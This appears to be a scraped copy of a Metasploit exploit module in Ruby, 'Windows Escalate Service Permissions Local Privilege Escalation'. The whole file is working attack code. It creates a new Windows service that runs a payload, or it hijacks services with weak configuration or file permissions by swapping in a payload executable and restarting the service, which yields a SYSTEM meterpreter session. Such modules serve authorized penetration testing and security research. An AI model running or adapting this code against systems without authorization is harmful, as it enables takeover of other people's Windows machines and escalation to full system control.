205 lines
6.7 KiB
Ruby
205 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::Accounts
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
ERROR = Msf::Post::Windows::Error
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
|
|
'Description' => %q{
|
|
This module attempts to exploit existing administrative privileges to obtain
|
|
a SYSTEM session. If directly creating a service fails, this module will inspect
|
|
existing services to look for insecure file or configuration permissions that may
|
|
be hijacked. It will then attempt to restart the replaced service to run the
|
|
payload. This will result in a new session when this succeeds.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'scriptjunkie' ],
|
|
'Arch' => [ ARCH_X86 ],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => '5'
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate'=> "Oct 15 2012"
|
|
))
|
|
|
|
register_options([
|
|
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
|
|
])
|
|
|
|
end
|
|
|
|
def execute_payload_as_new_service(path)
|
|
success = false
|
|
|
|
print_status("Trying to add a new service...")
|
|
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
|
|
if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS
|
|
print_status("Created service... #{service_name}")
|
|
write_exe(path, service_name)
|
|
if service_start(service_name) == ERROR::SUCCESS
|
|
print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
|
success = true
|
|
end
|
|
|
|
service_delete(service_name)
|
|
else
|
|
print_status("No privs to create a service...")
|
|
success = false
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
def weak_service_permissions(service_name, service, path)
|
|
success = false
|
|
vprint_status("[#{service_name}] Checking for weak service permissions")
|
|
|
|
if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS)
|
|
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
|
|
print_status("[#{service_name}] Restarting service")
|
|
res = service_stop(service_name)
|
|
|
|
if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
|
|
write_exe(path, service_name)
|
|
if service_restart(service_name)
|
|
print_good("[#{service_name}] Service restarted")
|
|
success = true
|
|
else
|
|
print_error("[#{service_name}] Unable to restart service")
|
|
end
|
|
end
|
|
|
|
unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS)
|
|
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
|
|
end
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
def weak_file_permissions(service_name, service, path, token)
|
|
success = false
|
|
vprint_status("[#{service_name}] Checking for weak file permissions")
|
|
|
|
#get path to exe; parse out quotes and arguments
|
|
original_path = service[:path]
|
|
possible_path = expand_path(original_path)
|
|
if (possible_path[0] == '"')
|
|
possible_path = possible_path.split('"')[1]
|
|
else
|
|
possible_path = possible_path.split(' ')[0]
|
|
end
|
|
|
|
unless file?(possible_path)
|
|
# If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
|
|
print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
|
|
end
|
|
|
|
file_permissions = check_dir_perms(possible_path, token)
|
|
|
|
if file_permissions && file_permissions.index('W')
|
|
print_good("[#{service_name}] Write access to #{possible_path}")
|
|
|
|
begin
|
|
status = service_status(service_name)
|
|
no_access = false
|
|
# Unless service is already stopped
|
|
if status[:state] == SERVICE_STOPPED
|
|
stopped = true
|
|
else
|
|
res = service_stop(service_name)
|
|
stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
|
|
end
|
|
rescue RuntimeError => e
|
|
vprint_error("[#{service_name}] #{e} ")
|
|
no_access = true
|
|
end
|
|
|
|
if stopped or no_access
|
|
begin
|
|
if move_file(possible_path, possible_path+'.bak')
|
|
write_exe(possible_path, service_name)
|
|
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
|
|
if service_restart(service_name)
|
|
print_good("[#{service_name}] Service restarted")
|
|
success = true
|
|
else
|
|
print_error("Unable to restart service")
|
|
end
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
vprint_error("[#{service_name}] #{e}")
|
|
end
|
|
else
|
|
vprint_error("[#{service_name}] Unable to stop service")
|
|
end
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
|
|
# define the correct servicename.
|
|
def write_exe(path, service_name=nil)
|
|
vprint_status("[#{service_name}] Writing service executable to #{path}")
|
|
exe = generate_payload_exe_service({:servicename=>service_name})
|
|
write_file(path, exe)
|
|
register_files_for_cleanup(path)
|
|
end
|
|
|
|
def exploit
|
|
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
|
|
sysdir = dir_env['SystemRoot']
|
|
tmpdir = dir_env['TEMP']
|
|
tempexe = tmpdir + "\\" + tempexe_name
|
|
|
|
begin
|
|
return if execute_payload_as_new_service(tempexe)
|
|
rescue RuntimeError => e
|
|
vprint_status("Unable to create a new service: #{e}")
|
|
end
|
|
|
|
aggressive = datastore['AGGRESSIVE']
|
|
|
|
print_status("Trying to find weak permissions in existing services..")
|
|
|
|
token = get_imperstoken
|
|
each_service do |serv|
|
|
service_name = serv[:name]
|
|
service = service_info(service_name)
|
|
begin
|
|
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
|
|
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
|
|
rescue RuntimeError => e
|
|
vprint_status("[#{serv[:name]}] #{e}")
|
|
end
|
|
end
|
|
end
|
|
end
|